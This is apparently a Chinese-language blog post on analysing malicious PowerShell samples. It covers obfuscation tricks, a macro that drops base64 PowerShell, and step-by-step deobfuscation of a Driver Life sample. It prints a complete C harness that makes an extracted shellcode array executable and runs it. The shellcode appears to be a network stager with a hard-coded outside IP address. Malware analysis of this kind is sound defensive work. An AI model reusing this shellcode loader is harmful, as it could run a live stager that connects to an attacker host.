样本分析之Powershell

0x1 常见混淆

  • 基于大小写 :hacky—>HaCky
  • 基于字符分割:’Ha’+’Cky’—>HaCky
  • 插入变量:’{0}{1}’-f ‘Ha’,’Kay’—>HaCky
  • 反引号:H`aCky—>HaCky
  • 基于命令转换(字符串转化为命令)&(HaCky)—>HaCky
  • 基于空格或者ASCII

0x2 勒索软件

  • 解混淆能清除发现是AES加密
    mark

0x3 流量欺骗

  • 1.宏病毒释放处宏代码,如文件macro.vbs,查看宏代码,发现一段base64编码之后的数据,然后调用powershell执行,怀疑是一个powershell脚本
  • 2.通过解base得到一个ps1脚本代码,命名为ByPowershell.ps1
  • 3.通过分析,可以发现ByPowershell.ps1,利用powershell执行了一次-nop -noni -enc 命令,目的在于隐秘执行
    mark
  • 4.解base64编码,得到FromPowershell.ps1_,可以观察到是利用利用virtuallAlloc执行shellcode
  • 如果发现ps1脚本里面有shellcode,只需要用C语言内联shellcode字节,然后调试即可。如下是shellcode利用脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    int main(void)
    {
    printf("hhhhh\n");
    char shellcode[] = {'\xfc','\xe8','\x82','\x00','\x00','\x00','\x60','\x89','\xe5','\x31','\xc0','\x64','\x8b','\x50','\x30','\x8b','\x52','\x0c','\x8b','\x52','\x14','\x8b','\x72','\x28','\x0f','\xb7','\x4a','\x26','\x31','\xff','\xac','\x3c','\x61','\x7c','\x02','\x2c','\x20','\xc1','\xcf','\x0d','\x01','\xc7','\xe2','\xf2','\x52','\x57','\x8b','\x52','\x10','\x8b','\x4a','\x3c','\x8b','\x4c','\x11','\x78','\xe3','\x48','\x01','\xd1','\x51','\x8b','\x59','\x20','\x01','\xd3','\x8b','\x49','\x18','\xe3','\x3a','\x49','\x8b','\x34','\x8b','\x01','\xd6','\x31','\xff','\xac','\xc1','\xcf','\x0d','\x01','\xc7','\x38','\xe0','\x75','\xf6','\x03','\x7d','\xf8','\x3b','\x7d','\x24','\x75','\xe4','\x58','\x8b','\x58','\x24','\x01','\xd3','\x66','\x8b','\x0c','\x4b','\x8b','\x58','\x1c','\x01','\xd3','\x8b','\x04','\x8b','\x01','\xd0','\x89','\x44','\x24','\x24','\x5b','\x5b','\x61','\x59','\x5a','\x51','\xff','\xe0','\x5f','\x5f','\x5a','\x8b','\x12','\xeb','\x8d','\x5d','\x68','\x6e','\x65','\x74','\x00','\x68','\x77','\x69','\x6e','\x69','\x54','\x68','\x4c','\x77','\x26','\x07','\xff','\xd5','\x31','\xdb','\x53','\x53','\x53','\x53','\x53','\x68','\x3a','\x56','\x79','\xa7','\xff','\xd5','\x53','\x53','\x6a','\x03','\x53','\x53','\x68','\xbb','\x01','\x00','\x00','\xe8','\xa7','\x00','\x00','\x00','\x2f','\x4c','\x37','\x6c','\x37','\x46','\x38','\x51','\x73','\x64','\x71','\x4f','\x68','\x6b','\x36','\x43','\x53','\x39','\x32','\x6e','\x6b','\x35','\x41','\x4a','\x58','\x57','\x54','\x6e','\x70','\x6e','\x75','\x4d','\x6e','\x66','\x48','\x00','\x50','\x68','\x57','\x89','\x9f','\xc6','\xff','\xd5','\x89','\xc6','\x53','\x68','\x00','\x32','\xe0','\x84','\x53','\x53','\x53','\x57','\x53','\x56','\x68','\xeb','\x55','\x2e','\x3b','\xff','\xd5','\x96','\x6a','\x0a','\x5f','\x68','\x80','\x33','\x00','\x00','\x89','\xe0','\x6a','\x04','\x50','\x6a','\x1f','\x56','\x68','\x75','\x46','\x9e','\x86','\xff','\xd5','\x53','\x53','\x53','\x53','\x56','\x68','\x2d','\x06','\x18','\x7b','\xff','\xd5','\x85','\xc0','\x75','\x08','\x4f','\x75','\xd9','\xe8','\x4b','\x00','\x00','\x00','\x6a','\x40','\x68','\x00','\x10','\x00','\x00','\x68','\x00','\x00','\x40','\x00','\x53','\x68','\x58','\xa4','\x53','\xe5','\xff','\xd5','\x93','\x53','\x53','\x89','\xe7','\x57','\x68','\x00','\x20','\x00','\x00','\x53','\x56','\x68','\x12','\x96','\x89','\xe2','\xff','\xd5','\x85','\xc0','\x74','\xcf','\x8b','\x07','\x01','\xc3','\x85','\xc0','\x75','\xe5','\x58','\xc3','\x5f','\xe8','\x77','\xff','\xff','\xff','\x31','\x33','\x38','\x2e','\x31','\x32','\x38','\x2e','\x31','\x39','\x36','\x2e','\x38','\x34','\x00','\xbb','\xf0','\xb5','\xa2','\x56','\x6a','\x00','\x53','\xff','\xd5'};
    DWORD oldProtect = 0;
    VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE,&oldProtect);
    ((void(*)(void))&shellcode)();
    VirtualProtect(shellcode, sizeof(shellcode), oldProtect, &oldProtect);
    getchar();
    return 0;
    }

0x4 驱动人生样本

  • 1.得到样本g123.ps1,Invoke-Expression是一个可以将变量(字符串)当成可以执行的语句。正常情况下如果有此语句是不能显示代码语句的,但是我们可以使用Write-Host打印代码。在powershell中执行g123.ps1。可以发现代码被严重混淆。将其重定向输出成1.ps1即可
    mark
  • 2.但是仍然发现代码被混淆严重,但是可以发现代码的一些蛛丝马迹。看代码最后一行。它其中是以. (表达式)(表达式)来执行的。可以联想到Invoke-Expression。看到在& ((GV ‘mDr‘).nAME[3,11,2]-joiN’’)之前有个管道符。使用Out-File .\tmp.log重定向即可。得到2.ps1
    mark
    mark
  • 2.ps1和1.ps1是一样的。使用Out-File .\tmp.log解决,得到3.ps1.
  • 3.3.ps1换了一种混淆方式,但是处理是一样的。 ($sHELLiD[1]+$ShelLiD[13]+'X')可以猜测是IEX。解混淆得到4.ps1.
    mark
    mark

    总结:

  • 遇到混淆了的powershell,除了常规的字符替换之类的方法,还有三种方法可以解混淆。
    • 1.遇上Base64加密的,可以将Invoke-Expression修改为Write-Host即可。
    • 2.出现在结尾的IEX字段,这时候,可以利用输出重定向,使用Out-File .\tmp.log.重点是查看是否有管道符
    • 3.出现在起始部分IEX字段,例如. ( $EnV:CoMsPec[4,26,25]-JoIN'')((('[string]3CHav = U'+'ABUAB[string]....。只需要修改语句为Write-Host即可。
  • 备注:解混淆需要活学活用。重点是寻找Invoke-Expression字段
  • 参考:https://paper.seebug.org/826/

0x5 MuddyWater样本